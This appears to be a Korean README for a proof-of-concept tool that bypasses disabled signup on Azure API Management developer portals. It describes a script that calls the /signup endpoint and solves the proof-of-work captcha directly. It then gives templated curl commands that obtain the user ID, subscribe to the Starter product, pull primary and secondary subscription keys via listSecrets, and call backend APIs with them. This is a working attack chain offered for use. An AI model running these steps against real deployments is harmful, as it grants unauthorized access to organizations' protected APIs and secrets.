
UI가 비활성화된 Azure APIM 가입을 우회하는 Python 스크립트입니다. 이는 CVE-2025-66390과 달리 크로스 테넌트로 아무것도 설정할 필요가 없습니다.
비활성화된 Azure API Management(APIM) 개발자 포털 가입을 백엔드 등록 API를 직접 호출하여 우회하는 개념 증명(PoC) 스크립트입니다.
Azure APIM 개발자 포털은 포털 UI를 통해 셀프 서비스 가입을 비활성화하도록 구성할 수 있습니다. 일부 배포에서는 UI 버튼이 숨겨지거나 제거된 경우에도 기본 API 엔드포인트(/signup)가 활성 상태로 유지되고 접근 가능합니다. 이 스크립트는 다음 방식으로 이 틈새를 악용합니다:
/v2/captcha-challenge에서 작업 증명(PoW) 캡차 챌린지를 가져옵니다./signup으로 가입 요청을 직접 제출합니다.모든 입력(대상 URL, 자격 증명, 프록시)은 런타임에 대화식으로 입력받습니다.
CVE-2025-66390 (CVSS 9.8 Critical)은 크로스 테넌트 APIM 가입 우회를 설명합니다. 공격자는 가입이 활성화된 테넌트를 남용하여 API 요청의 Host 헤더를 조작함으로써 가입이 비활성화된 다른 테넌트에 계정을 등록합니다. Microsoft는 이를 제품 취약점이 아닌 구성 문제로 분류했습니다.
이 방법은 크로스 테넌트를 생성할 필요가 없습니다. 대신 /v2/captcha-challenge 엔드포인트를 사용하여 평균 75,000회의 반복 중에서 캡차를 해결합니다.
python3 apim_signup.py
대상 URL, 계정 세부 정보, 비밀번호(숨김 입력, 확인을 위해 다시 표시) 및 선택적 프록시를 입력받습니다.
가입 요청이 성공하고 확인 이메일이 도착하면 전체 공격 체인은 다음과 같습니다:
등록 이메일의 확인 링크를 클릭합니다. 이렇게 하면 관리 API가 인증하기 전에 계정이 활성화됩니다.
기본 인증(base64(email:password))을 사용하여 APIM 관리 API를 호출하면 내부 사용자 ID를 얻을 수 있습니다:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
반환된 id 필드는 이후의 모든 관리 API 호출에 사용됩니다.
또는 /developer/identity?api-version=2022-04-01-preview를 호출합니다. <-- 버전은 중요하지 않습니다. 로그인하라는 UI가 표시되며, 거기서도 사용자 ID를 얻을 수 있습니다.
기본 Starter 제품은 approvalRequired: false로 제공되므로 관리자 승인이 필요하지 않습니다. PUT으로 자체 구독합니다:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
[email protected]에서 확인 이메일("Your subscription to the Starter")이 도착합니다.
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
APIM 게이트웨이에 대해 기본 키를 Ocp-Apim-Subscription-Key로 사용하여 인증된 백엔드 호출을 수행합니다:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
액세스 권한은 Starter 제품에 범위가 지정된 API에 따라 결정됩니다. 잘못 구성된 배포에서는 추가 인증 없이 내부 백엔드가 노출될 수 있습니다.
자세한 내용은 이 문서가 체인을 잘 설명하고 있습니다. 크로스 테넌트 부분만 제외하면 됩니다. https://www.praetorian.com/blog/azure-apim-signup-bypass/